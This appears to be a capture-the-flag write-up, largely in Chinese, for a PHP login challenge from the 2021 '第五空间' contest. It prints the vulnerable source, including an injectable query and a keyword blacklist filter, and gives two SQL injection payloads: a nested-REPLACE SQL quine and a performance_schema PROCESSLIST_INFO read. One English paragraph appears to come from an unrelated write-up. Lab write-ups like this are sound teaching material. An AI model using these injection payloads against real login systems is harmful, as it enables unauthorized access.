<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
题目来源第五空间2021
表是空的,通过输入与输出相同来绕过$row[‘password’] === $password
方法一REPLACE函数
payload
1’UNION(SELECT(REPLACE(REPLACE(‘1″UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),”%”)))#’,CHAR(34),CHAR(39)),CHAR(37),’1″UNION(SELECT(REPLACE(REPLACE(“%”,CHAR(34),CHAR(39)),CHAR(37),”%”)))#’)))#

char(46)==. char(39)==’ char(34)==” char(37)==%
看到一个大佬的详解,用整个语句替换replace函数中的object参数,然后替换str位置


这道题的目的是得到一个输入与输出相等的payload
此时输入是
select
replace(‘replace(“.”,char(46),”.”)’
,char(46),
‘replace(“.”,char(46),”.”)’);
输出是
replace(“replace(“.”,char(46),”.”)”,
char(46),
“replace(“.”,char(46),”.”)”)
在引号处还是有区别

文章中写解决引号不同的问题可以再套一层replace,把双引号换成单引号
绕后就是之前的操作
一堆括号真的让人头疼啊,但是绕出来还好
The SQLi gives a chance to change the password to something we control, but the ID must output the code to do so. We also need to modify the password to something we know; sounds like time to make a Quine Generator for SQL! The example SQL Quine provides a clear structure for making a generator through the indirect ($) replacement method.
文章结尾skysecruity的那篇文章有可以直接用的payload
整个的顺序大概是object->str->引号
方法二PROCESSLIST_INFO的利用


这里是某位大佬的payload,收藏一下万一以后用到
payload
1′ UNION SELECT password FROM users WHERE username='admin' and password='1'union//select//mid(11,65,217)//from(select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17//union//select//*//from//performance_schema.threads//where//name//like'%connection%'//limit//1,1)t#
第二种方法真的很考验知识储备量
参考链接
https://blog.csdn.net/mochu7777777/article/details/120339790
https://blog.csdn.net/m0_53065491/article/details/122478401